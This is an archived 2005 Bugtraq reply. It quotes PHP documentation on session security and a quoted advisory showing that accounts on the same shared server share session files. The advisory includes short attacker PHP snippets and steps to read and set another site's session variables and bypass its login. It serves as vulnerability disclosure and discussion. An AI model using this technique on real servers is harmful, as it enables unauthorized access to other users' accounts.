lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Fri, 16 Sep 2005 16:13:50 -0400 (EDT)
From: David N Murray <dmurray@...systems.com>
To: unknow@...team.org
Cc: bugtraq@...urityfocus.com
Subject: Re: PHP SESSION MODIFICATION


Why is this news?  From the PHP docs on Session Handling Functions:

<quote>
Sessions and Security

Using sessions, does not mean, you can be absolutely sure, that the
session data can only be viewed by that user. This is important to keep in
mind, when storing and displaying sensitive information. When storing data
into a session, one should always ask themselves, what the damage is, when
somebody else views that information, or how your application is affected
when this session is actually somebody else.

For instance, if somebody else takes a session, can he then post a message
in a forum, as that user and how big of a problem is that? Or perhaps he
can view what the original user was thinking of ordering, because he gets
access to that user's shopping cart. Obviously for a flowershop, this is
less dramatic, than for a pharmacy.

Therefore, when dealing with sensitive information, there should always be
additional methods to decide whether it is a valid session. Sessions are
not reliable as a secure authentication mechanism.

Sessions rely on the session ID, meaning one can 'steal' a session, by
stealing the session ID. This can be made harder, by using a cookie
specifically a session cookie, but does not in any way make it impossible
and still relies on the user closing all browser windows, to expire the
session cookie. Besides that, even session cookies can be sniffed on a
network or logged by a proxyserver.
</quote>

which is exactly what you described.  There are many ways to reduce the
risk, but just relying on session ID in any web language/server
combination is asking for trouble.

Regards,
Dave

On Sep 16, unknow@...team.org scribed:

> -- == -- == -- == -- == -- == -- == -- == -- == -- == --
> Name: PHP SESSION
> Version: tested on 3.x and 4.x
> Homepage: http://php.net/
>
> Authors: unknow (from uw-team) and adam_i
> Date: 16 September 2005
> -- == -- == -- == -- == -- == -- == -- == -- == -- == --
>
> In PHP You can define a session variable by this code:
>
> ------------------------
> start_sesion();
> $my_var='foo';
> session_register('my_var');
> ------------------------
>
> This is 'very safe' method to keep secret data, because
> data witch was send by get, post or cookie method could
> be modified by user.
> But... session variable could be also modified!
> Only in 'specific environment', but it is possible.
>
> -- == -- == -- == -- == -- == -- == -- == -- == -- == --
>                    HOW IT WORKS?
> -- == -- == -- == -- == -- == -- == -- == -- == -- == --
>
> PHP save all session variables in file:
> /tmp/sess_$id
>
> The variable "$id" is random and it's usually saved in
> cookie named 'PHPSESSID' or it is added to URL.
> User don't know what kind of variables are declared
> in session.
>
> It's very important, that PHP give ONE 'id' per ONE user.
> Thats mean that, when you enter site:
> www.example.com/account1/
> You will have THE SAME 'id' number like on this site:
> www.example.com/account2/
>
> So... all data from 'account1' and 'account2' are saved in
> THE SAME file: /tmp/sess_$id
>
> Thats mean:
> When 'account1' sets variable $name='Been', 'Account2' will
> see this variable, and could read, and write to it, because
> all data are stored in the same file, and PHP doesn'a know
> who is a owner of specified data.
>
>
> -- == -- == -- == -- == -- == -- == -- == -- == -- == --
>                        USAGE
> -- == -- == -- == -- == -- == -- == -- == -- == -- == --
>
> You need:
> - a victim :P
> - www account at the same server like victim
>
> Victim code:
> ------------------------
> session_start();
> if (!session_is_registered("logged")) {
> $logged=0;
> }
> if ($login=='s3cr3t') {$logged=1;}
> session_register('logged');
> if ($_SESSION['logged']==1){ see_my_secret_file(); }
> ------------------------
>
> Look realy safe!
> But we have this code on the same machine, but on the other account:
>
> Hacker code:
> ------------------------
> session_start();
> var_export($_SESSION);
> ------------------------
>
> We must do something like this:
>
> 1) enter this site:
> http://[victim-host]/[victim]/file.php
> 2) run this file:
> http://[victim-host]/[hacer-account]/hacker.php
>
> We would see something like this on the hacker page:
>
> ------------------------
> array ( 'logged' => 0, )
> ------------------------
>
> Now we know that victim use '$logged' variable to recognize us.
>
> Now we must edit hacker file, and write this code:
>
> ------------------------
> session_start();
> $_SESSION['logged']=1;
> ------------------------
>
> now we run 'hacker.php' file on hacker account and refresh victim page.
> Now we are logged in!
>
> Contact:
>
> Author: unknow (from uw-team) and adam_i
> Location: Poland
> Email: unknow <at> uw-team <dot> org || adam__i <at> o2 <dot>pl
> HP: http://www.uw-team.org
>
> -- == -- == -- == -- == -- == -- == -- == -- == -- == --
>


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ